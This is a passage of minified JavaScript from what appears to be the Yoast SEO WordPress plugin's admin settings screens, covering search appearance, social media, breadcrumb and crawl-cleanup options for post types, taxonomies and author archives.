(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...d},(0,e.createElement)(Wa,{isEnabled:!f||D}),(0,e.createElement)(ha,{id:`wpseo_titles-social-image-${t}`,label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:N,mediaUrlName:`wpseo_titles.social-image-url-${t}`,mediaIdName:`wpseo_titles.social-image-id-${t}`,disabled:!D,isDummy:!f}),(0,e.createElement)(tl,{type:"title",name:`wpseo_titles.social-title-${t}`,fieldId:`input-wpseo_titles-social-title-${t}`,label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:u,disabled:!D,isDummy:!f}),(0,e.createElement)(tl,{type:"description",name:`wpseo_titles.social-description-${t}`,fieldId:`input-wpseo_titles-social-description-${t}`,label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:u,className:"yst-replacevar--description",disabled:!D,isDummy:!f}))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Schema","wordpress-seo"),description:A},(0,e.createElement)(Ra,{as:l.SelectField,type:"select",name:`wpseo_titles.schema-page-type-${t}`,id:`input-wpseo_titles-schema-page-type-${t}`,label:(0,Lt.__)("Page type","wordpress-seo"),options:F?_.filter((({value:e})=>"ItemPage"===e)):_,disabled:F,className:"yst-max-w-sm",description:F?$:null}),o&&(0,e.createElement)("div",null,(0,e.createElement)(Ra,{as:l.SelectField,type:"select",name:`wpseo_titles.schema-article-type-${t}`,id:`input-wpseo_titles-schema-article-type-${t}`,label:(0,Lt.__)("Article type","wordpress-seo"),options:y,className:"yst-max-w-sm"}),(0,e.createElement)(za,{name:t}))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Additional settings","wordpress-seo")},(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:`wpseo_titles.display-metabox-pt-${t}`,id:`input-wpseo_titles-display-metabox-pt-${t}`,label:(0,Lt.__)("Enable SEO controls and assessments","wordpress-seo"),description:(0,Lt.__)("Show or hide our tools and controls in the content editor.","wordpress-seo"),className:"yst-max-w-sm"}),(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!f,variant:"card",cardLink:S,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...d},(0,e.createElement)(el,{name:`wpseo_titles.page-analyse-extra-${t}`,id:`input-wpseo_titles-page-analyse-extra-${t}`,label:(0,Lt.__)("Add custom fields to page analysis","wordpress-seo"),labelSuffix:f&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium"),description:(0,e.createElement)(e.Fragment,null,C,(0,e.createElement)("br",null),(0,e.createElement)(l.Link,{id:`link-custom-fields-page-analysis-${t}`,href:h,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about our custom field analysis","wordpress-seo")),"."),isDummy:!f}))),a&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)("hr",{className:"yst-my-16"}),(0,e.createElement)("div",{className:"yst-mb-8"},(0,e.createElement)(l.Title,{as:"h2",className:"yst-mb-2"},(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. Posts.
(0,Lt.__)("%1$s archive","wordpress-seo"),s)),(0,e.createElement)("p",{className:"yst-text-tiny"},I&&O,!I&&(0,Lt.sprintf)(
// translators: %1$s expands to the post type singular, e.g. post.
(0,Lt.__)("These settings are specifically for optimizing your %1$s archive.","wordpress-seo"),R))),!I&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts.
(0,Lt.__)("Determine how your %1$s archive should look in search engines.","wordpress-seo"),P)},(0,e.createElement)(ua,{name:`wpseo_titles.noindex-ptarchive-${t}`,id:`input-wpseo_titles-noindex-ptarchive-${t}`,label:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts.
(0,Lt.__)("Show the archive for %1$s in search results","wordpress-seo"),P),description:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts.
(0,Lt.__)("Disabling this means that the archive for %1$s will not be indexed by search engines and will be excluded from XML sitemaps.","wordpress-seo"),P),className:"yst-max-w-sm"}),(0,e.createElement)(wa,{type:"title",name:`wpseo_titles.title-ptarchive-${t}`,fieldId:`input-wpseo_titles-title-ptarchive-${t}`,label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:p,recommendedReplacementVariables:m}),(0,e.createElement)(wa,{type:"description",name:`wpseo_titles.metadesc-ptarchive-${t}`,fieldId:`input-wpseo_titles-metadesc-ptarchive-${t}`,label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:p,recommendedReplacementVariables:m,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,Lt.__)("Social media appearance","wordpress-seo")),f&&(0,e.createElement)(l.Badge,{variant:"upsell"},"Premium")),description:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. posts.
(0,Lt.__)("Determine how your %1$s archive should look on social media.","wordpress-seo"),P)},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!f,variant:"card",cardLink:k,cardText:(0,Lt.sprintf)(
// translators: %1$s expands to Premium.
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...d},(0,e.createElement)(ha,{id:`wpseo_titles-social-image-ptarchive-${t}`,label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:N,mediaUrlName:`wpseo_titles.social-image-url-ptarchive-${t}`,mediaIdName:`wpseo_titles.social-image-id-ptarchive-${t}`,disabled:!D,isDummy:!f}),(0,e.createElement)(tl,{type:"title",name:`wpseo_titles.social-title-ptarchive-${t}`,fieldId:`input-wpseo_titles-social-title-ptarchive-${t}`,label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:p,recommendedReplacementVariables:m,disabled:!D,isDummy:!f}),(0,e.createElement)(tl,{type:"description",name:`wpseo_titles.social-description-ptarchive-${t}`,fieldId:`input-wpseo_titles-social-description-ptarchive-${t}`,label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:p,recommendedReplacementVariables:m,className:"yst-replacevar--description",disabled:!D,isDummy:!f}))),B&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Additional settings","wordpress-seo")},(0,e.createElement)(te,{as:l.TextField,type:"text",name:`wpseo_titles.bctitle-ptarchive-${t}`,id:`input-wpseo_titles-bctitle-ptarchive-${t}`,label:(0,Lt.__)("Breadcrumbs title","wordpress-seo")}))))))))};sl.propTypes={name:ir().string.isRequired,label:ir().string.isRequired,singularLabel:ir().string.isRequired,hasArchive:ir().bool.isRequired,hasSchemaArticleType:ir().bool.isRequired,isNew:ir().bool.isRequired};const rl=sl,al=Ca(wa),ol=({name:t,label:s,postTypes:r,showUi:a,isNew:o})=>{const n=aa("selectPostTypes",[r],r),c=aa("selectUpsellSettingsAsProps"),d=aa("selectReplacementVariablesFor",[t],t,"term-in-custom-taxonomy"),u=aa("selectRecommendedReplacementVariablesFor",[t],t,"term-in-custom-taxonomy"),p=aa("selectLink",[],"https://yoa.st/show-x"),m=aa("selectPreference",[],"isPremium"),f=aa("selectPreference",[],"userLocale"),h=aa("selectPreference",[],"editTaxonomyUrl"),y=aa("selectLink",[],"https://yoa.st/4e0"),_=(0,i.useMemo)((()=>gn(s,f)),[s,f]),w=(0,i.useMemo)((()=>(0,le.values)(n)),[n]),g=(0,i.useMemo)((()=>(0,le.initial)(w)),[w]),b=(0,i.useMemo)((()=>(0,le.last)(w)),[w]),{updateTaxonomyReviewStatus:v}=ta();(0,i.useEffect)((()=>{o&&v(t)}),[t,v]);const E=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),x=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %s expands to <code>/category/</code> */
(0,Lt.__)("Category URLs in WordPress contain a prefix, usually %s. Show or hide that prefix in category URLs.","wordpress-seo"),"<code />"),{code:(0,e.createElement)(l.Code,null,"/category/")})),[]),k=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s and %2$s expand to post type plurals in code blocks, e.g. Posts Pages and Custom Post Type.
   */
(0,Lt.__)("This taxonomy is used for %1$s and %2$s.","wordpress-seo"),"<code1 />","<code2 />"),{code1:(0,e.createElement)(e.Fragment,null,(0,le.map)(g,((t,s)=>(0,e.createElement)(e.Fragment,null,(0,e.createElement)(l.Code,{key:null==t?void 0:t.name},null==t?void 0:t.label),s<g.length-1&&" ")))),code2:(0,e.createElement)(l.Code,null,null==b?void 0:b.label)})),[s,g,b]),S=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to the post type plural in code block, e.g. Posts.
   */
(0,Lt.__)("This taxonomy is used for %2$s.","wordpress-seo"),s,"<code />"),{code:(0,e.createElement)(l.Code,null,null==b?void 0:b.label)})),[s,b]),{values:L}=q(),{opengraph:T}=L.wpseo_social,F=(0,i.useMemo)((()=>g.length>1?k:S),[g,k,S]),$=(0,i.useCallback)((()=>a&&(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:`wpseo_titles.display-metabox-tax-${t}`,id:`input-wpseo_titles-display-metabox-tax-${t}`,label:(0,Lt.__)("Enable SEO controls and assessments","wordpress-seo"),description:(0,Lt.__)("Show or hide our tools and controls in the content editor.","wordpress-seo"),className:"yst-max-w-sm"})),[a,t]),P=(0,i.useCallback)((()=>"category"===t&&(0,e.createElement)(ua,{name:"wpseo_titles.stripcategorybase",id:"input-wpseo_titles-stripcategorybase",label:(0,Lt.__)("Show the categories prefix in the slug","wordpress-seo"),description:x,className:"yst-max-w-sm"})),[t,x]),R=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
     * translators: %1$s expands to the name of the taxonomy.
     */
(0,Lt.__)("The name of this category is %1$s.","wordpress-seo"),"<link />"),{link:(0,e.createElement)(l.Link,{href:`${h}?taxonomy=${t}`},t)})),[t]);return(0,e.createElement)(uo,{title:s,description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(/* translators: %1$s expands to the taxonomy plural, e.g. categories. */
(0,Lt.__)("Determine how your %1$s should look in search engines and on social media.","wordpress-seo"),_),(0,e.createElement)("br",null),(0,le.isEmpty)(w)?R:F)},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. Posts. %2$s expands to "Yoast SEO".
(0,Lt.__)("Determine what your %1$s should look like in the search results by default. You can always customize the settings for individual %1$s in the %2$s metabox.","wordpress-seo"),_,"Yoast SEO")},(0,e.createElement)(ua,{name:`wpseo_titles.noindex-tax-${t}`,id:`input-wpseo_titles-noindex-tax-${t}`,label:(0,Lt.sprintf)(
// translators: %1$s expands to the taxonomy plural, e.g. Categories.
(0,Lt.__)("Show %1$s in search results","wordpress-seo"),_),description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(
// translators: %1$s expands to the taxonomy plural, e.g. Categories.
(0,Lt.__)("Disabling this means that archive pages for %1$s will not be indexed by search engines and will be excluded from XML sitemaps.","wordpress-seo"),_)," ",(0,e.createElement)(l.Link,{href:p,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about the search results settings","wordpress-seo")),"."),className:"yst-max-w-sm"}),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(wa,{type:"title",name:`wpseo_titles.title-tax-${t}`,fieldId:`input-wpseo_titles-title-tax-${t}`,label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u}),(0,e.createElement)(wa,{type:"description",name:`wpseo_titles.metadesc-tax-${t}`,fieldId:`input-wpseo_titles-metadesc-tax-${t}`,label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,Lt.__)("Social media appearance","wordpress-seo")),m&&(0,e.createElement)(l.Badge,{variant:"upsell"},"Premium")),description:(0,Lt.sprintf)(
// translators: %1$s expands to the taxonomy plural, e.g. Categories. %2$s expand to Yoast SEO.
(0,Lt.__)("Determine how your %1$s should look on social media by default. You can always customize the settings for individual %1$s in the %2$s metabox.","wordpress-seo"),_,"Yoast SEO")},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!m,variant:"card",cardLink:y,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...c},(0,e.createElement)(Wa,{isEnabled:!m||T}),(0,e.createElement)(ha,{id:`wpseo_titles-social-image-tax-${t}`,label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:E,mediaUrlName:`wpseo_titles.social-image-url-tax-${t}`,mediaIdName:`wpseo_titles.social-image-id-tax-${t}`,disabled:!T,isDummy:!m}),(0,e.createElement)(al,{type:"title",name:`wpseo_titles.social-title-tax-${t}`,fieldId:`input-wpseo_titles-social-title-tax-${t}`,label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,disabled:!T,isDummy:!m}),(0,e.createElement)(al,{type:"description",name:`wpseo_titles.social-description-tax-${t}`,fieldId:`input-wpseo_titles-social-description-tax-${t}`,label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,className:"yst-replacevar--description",disabled:!T,isDummy:!m}))),(a||"category"===t)&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Additional settings","wordpress-seo")},$(),P())))))};ol.propTypes={name:ir().string.isRequired,label:ir().string.isRequired,postTypes:ir().arrayOf(ir().string).isRequired,showUi:ir().bool.isRequired,isNew:ir().bool.isRequired};const nl=ol,il=Ca(wa),ll=()=>{const t=(0,Lt.__)("Author archives","wordpress-seo"),s=(0,Lt.__)("Author archive","wordpress-seo"),r=aa("selectPreference",[],"userLocale"),a=(0,i.useMemo)((()=>gn(t,r)),[t,r]),o=(0,i.useMemo)((()=>gn(s,r)),[s,r]),n=aa("selectUpsellSettingsAsProps"),c=aa("selectReplacementVariablesFor",[],"author_archives","custom-post-type_archive"),d=aa("selectRecommendedReplacementVariablesFor",[],"author_archives","custom-post-type_archive"),u=aa("selectLink",[],"https://yoa.st/duplicate-content"),p=aa("selectLink",[],"https://yoa.st/show-x"),m=aa("selectPreference",[],"isPremium"),f=aa("selectExampleUrl",[],"/author/example/"),h=aa("selectLink",[],"https://yoa.st/4e0"),y=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),_=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to "author archive".
   * %2$s expands to an example URL, e.g. https://example.com/author/example/.
   * %3$s and %4$s expand to opening and closing <a> tags.
   */
(0,Lt.__)("If you're running a one author blog, the %1$s (e.g. %2$s) will be exactly the same as your homepage. This is what's called a %3$sduplicate content problem%4$s. If this is the case on your site, you can choose to either disable it (which makes it redirect to the homepage), or prevent it from showing up in search results.","wordpress-seo"),o,"<exampleUrl />","<a>","</a>"),{exampleUrl:(0,e.createElement)(l.Code,null,f),a:(0,e.createElement)("a",{href:u,target:"_blank",rel:"noopener"})})),[]),{values:w}=q(),{opengraph:g}=w.wpseo_social,{"disable-author":b,"noindex-author-wpseo":v,"noindex-author-noposts-wpseo":E}=w.wpseo_titles;return(0,e.createElement)(uo,{title:t,description:_},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(ua,{name:"wpseo_titles.disable-author",id:"input-wpseo_titles-disable-author",label:(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Enable %1$s","wordpress-seo"),a),description:(0,Lt.sprintf)(
// translators: %1$s expands to "author archive".
(0,Lt.__)("Disabling this will redirect the %1$s to your site's homepage.","wordpress-seo"),o),className:"yst-max-w-sm"}),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Determine how your %1$s should look in search engines.","wordpress-seo"),a)},(0,e.createElement)(ua,{name:"wpseo_titles.noindex-author-wpseo",id:"input-wpseo_titles-noindex-author-wpseo",label:(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Show %1$s in search results","wordpress-seo"),a),description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Disabling this means that %1$s will not be indexed by search engines and will be excluded from XML sitemaps.","wordpress-seo"),a)," ",(0,e.createElement)(l.Link,{href:p,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about the search results settings","wordpress-seo")),"."),disabled:b,checked:!b&&!v,className:"yst-max-w-sm"}),(0,e.createElement)(ua,{name:"wpseo_titles.noindex-author-noposts-wpseo",id:"input-wpseo_titles-noindex-author-noposts-wpseo",label:(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Show %1$s without posts in search results","wordpress-seo"),a),description:(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Disabling this means that %1$s without any posts will not be indexed by search engines and will be excluded from XML sitemaps.","wordpress-seo"),a),checked:!b&&!v&&!E,disabled:b||v,className:"yst-max-w-sm"}),(0,e.createElement)(wa,{type:"title",name:"wpseo_titles.title-author-wpseo",fieldId:"input-wpseo_titles-title-author-wpseo",label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:d,disabled:b}),(0,e.createElement)(wa,{type:"description",name:"wpseo_titles.metadesc-author-wpseo",fieldId:"input-wpseo_titles-metadesc-author-wpseo",label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:d,disabled:b,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,Lt.__)("Social media appearance","wordpress-seo")),m&&(0,e.createElement)(l.Badge,{variant:"upsell"},"Premium")),description:(0,Lt.sprintf)(
// translators: %1$s expands to "author archives".
(0,Lt.__)("Determine how your %1$s should look on social media.","wordpress-seo"),a)},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!m,variant:"card",cardLink:h,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...n},(0,e.createElement)(Wa,{isEnabled:!m||g}),(0,e.createElement)(ha,{id:"wpseo_titles-social-image-author-wpseo",label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:y,mediaUrlName:"wpseo_titles.social-image-url-author-wpseo",mediaIdName:"wpseo_titles.social-image-id-author-wpseo",disabled:b||!g,isDummy:!m}),(0,e.createElement)(il,{type:"title",name:"wpseo_titles.social-title-author-wpseo",fieldId:"input-wpseo_titles-social-title-author-wpseo",label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:d,disabled:b||!g,isDummy:!m}),(0,e.createElement)(il,{type:"description",name:"wpseo_titles.social-description-author-wpseo",fieldId:"input-wpseo_titles-social-description-author-wpseo",label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:c,recommendedReplacementVariables:d,className:"yst-replacevar--description",disabled:b||!g,isDummy:!m}))))))},cl=()=>{const t=aa("selectLink",[],"https://yoa.st/header-breadcrumbs"),s=aa("selectLink",[],"https://yoa.st/breadcrumbs"),r=aa("selectBreadcrumbsForPostTypes"),a=aa("selectBreadcrumbsForTaxonomies"),o=aa("selectHasPageForPosts");return(0,e.createElement)(uo,{title:(0,Lt.__)("Breadcrumbs","wordpress-seo"),description:Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,Lt.__)("Configure the appearance and behavior of %1$syour breadcrumbs%2$s.","wordpress-seo"),"<a>","</a>"),t,"link-header-breadcrumbs")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Breadcrumb appearance","wordpress-seo"),description:(0,Lt.__)("Choose the general appearance of your breadcrumbs.","wordpress-seo")},(0,e.createElement)(te,{as:l.TextField,type:"text",name:"wpseo_titles.breadcrumbs-sep",id:"input-wpseo_titles-breadcrumbs-sep",label:(0,Lt.__)("Separator between breadcrumbs","wordpress-seo"),placeholder:(0,Lt.__)("Add separator","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextField,type:"text",name:"wpseo_titles.breadcrumbs-home",id:"input-wpseo_titles-breadcrumbs-home",label:(0,Lt.__)("Anchor text for the Homepage","wordpress-seo"),placeholder:(0,Lt.__)("Add anchor text","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextField,type:"text",name:"wpseo_titles.breadcrumbs-prefix",id:"input-wpseo_titles-breadcrumbs-prefix",label:(0,Lt.__)("Prefix for the breadcrumb path","wordpress-seo"),placeholder:(0,Lt.__)("Add prefix","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextField,type:"text",name:"wpseo_titles.breadcrumbs-archiveprefix",id:"input-wpseo_titles-breadcrumbs-archiveprefix",label:(0,Lt.__)("Prefix for archive breadcrumbs","wordpress-seo"),placeholder:(0,Lt.__)("Add prefix","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextField,type:"text",name:"wpseo_titles.breadcrumbs-searchprefix",id:"input-wpseo_titles-breadcrumbs-searchprefix",label:(0,Lt.__)("Prefix for search page breadcrumbs","wordpress-seo"),placeholder:(0,Lt.__)("Add prefix","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextField,type:"text",name:"wpseo_titles.breadcrumbs-404crumb",id:"input-wpseo_titles-breadcrumbs-404crumb",label:(0,Lt.__)("Breadcrumb for 404 page","wordpress-seo"),placeholder:(0,Lt.__)("Add separator","wordpress-seo")}),o&&(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:"wpseo_titles.breadcrumbs-display-blog-page",id:"input-wpseo_titles-breadcrumbs-display-blog-page",label:(0,Lt.__)("Show blog page in breadcrumbs","wordpress-seo"),className:"yst-max-w-sm"}),(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:"wpseo_titles.breadcrumbs-boldlast",id:"input-wpseo_titles-breadcrumbs-boldlast",label:(0,Lt.__)("Bold the last page","wordpress-seo"),className:"yst-max-w-sm"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Breadcrumbs for post types","wordpress-seo"),description:(0,Lt.__)("Choose which Taxonomy you wish to show in the breadcrumbs for Post types.","wordpress-seo")},(0,le.map)(r,((t,s)=>(0,e.createElement)(Ra,{key:s,as:l.SelectField,name:`wpseo_titles.post_types-${s}-maintax`,id:`input-wpseo_titles-post_types-${s}-maintax`,label:t.label,labelSuffix:(0,e.createElement)(l.Code,{className:"yst-ml-2"},s),options:t.options,className:"yst-max-w-sm"})))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Breadcrumbs for taxonomies","wordpress-seo"),description:(0,Lt.__)("Choose which Post type you wish to show in the breadcrumbs for Taxonomies.","wordpress-seo")},(0,le.map)(a,(t=>(0,e.createElement)(Ra,{key:t.name,as:l.SelectField,name:`wpseo_titles.taxonomy-${t.name}-ptparent`,id:`input-wpseo_titles-taxonomy-${t.name}-ptparent`,label:t.label,options:t.options,className:"yst-max-w-sm",labelSuffix:(0,e.createElement)(l.Code,{className:"yst-ml-2"},t.name)})))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("How to insert breadcrumbs in your theme","wordpress-seo")},(0,e.createElement)("p",null,Xi((0,Lt.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags. %3$s expands to "Yoast SEO".
(0,Lt.__)("Not sure how to implement the %3$s breadcrumbs on your site? Read %1$sour help article on breadcrumbs implementation%2$s.","wordpress-seo"),"<a>","</a>","Yoast SEO"),s,"link-breadcrumbs-help-article")),(0,e.createElement)("p",null,(0,Lt.__)("You can always choose to enable/disable them for your theme below. This setting will not apply to breadcrumbs inserted through a widget, a block or a shortcode.","wordpress-seo")),(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:"wpseo_titles.breadcrumbs-enable",id:"input-wpseo_titles-breadcrumbs-enable",label:(0,Lt.__)("Enable breadcrumbs for your theme","wordpress-seo"),className:"yst-max-w-sm"})))))},dl=Ma(te),ul=Oa(Ra),pl=Aa(ul),ml=()=>{const t=aa("selectPreference",[],"isPremium",!1),s=aa("selectPreference",[],"isMultisite",!1),r=aa("selectUpsellSettingsAsProps"),a=aa("selectLink",[],"https://yoa.st/crawl-settings"),o=aa("selectLink",[],"https://yoa.st/permalink-cleanup"),n=aa("selectLink",[],"https://yoa.st/block-unwanted-bots-info"),c=aa("selectLink",[],"https://yoa.st/block-unwanted-bots-upsell"),d=(0,i.useMemo)((()=>(0,Lt.sprintf)(/* translators: %1$s expands to an example within a code tag. */
(0,Lt.__)("E.g., %1$s","wordpress-seo"),"<code/>")),[]),u=(0,i.useMemo)((()=>(0,Lt.sprintf)(/* translators: %1$s and %2$s both expand to an example within a code tag. */
(0,Lt.__)("E.g., %1$s and %2$s","wordpress-seo"),"<code1/>","<code2/>")),[]),p=(0,i.useMemo)((()=>({page:(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s and %2$s are replaced by opening and closing <a> tags. */
(0,Lt.__)("Make your site more efficient and more environmentally friendly by preventing search engines from crawling things they don’t need to, and by removing unused WordPress features. %1$sLearn more about crawl settings and how they could benefit your site%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)("a",{id:"link-crawl-settings-info",href:a,target:"_blank",rel:"noopener noreferrer"})}),removeUnwantedMetadata:(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to `<head>` within a <code> tag. */
(0,Lt.__)("WordPress adds a lot of links and content to your site's %1$s and HTTP headers. For most websites you can safely disable all of these, which can help to save bytes, electricity, and trees.","wordpress-seo"),"<code/>"),{code:(0,e.createElement)(l.Code,null,"<head>")}),removeShortlinks:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="shortlink" href="https://www.example.com/?p=1" />')}),removeRestApiLinks:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="https://api.w.org/" href="https://www.example.com/wp-json/" />')}),removeRsdWlwLinks:(0,i.createInterpolateElement)(u,{code1:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.example.com/xmlrpc.php?rsd" />'),code2:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://www.example.com/wp-includes/wlwmanifest.xml" />')}),removeOembedLinks:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/json+oembed" href="https://www.example.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.example.com%2Fexample-post%2F" />')}),removeGenerator:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<meta name="generator" content="WordPress 6.0.1" />')}),removePingbackHeader:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},"X-Pingback: https://www.example.com/xmlrpc.php")}),removePoweredByHeader:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},"X-Powered-By: PHP/7.4.1")}),removeFeedGlobal:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Feed" href="https://www.example.com/feed/" />')}),removeFeedGlobalComments:(0,i.createInterpolateElement)(d,{code:(0,e.createElement)(l.Code,{variant:"block"},'<link rel="alternate" type="application/rss+xml" title="Example Website - Comments Feed" href="https://www.example.com/comments/feed/" 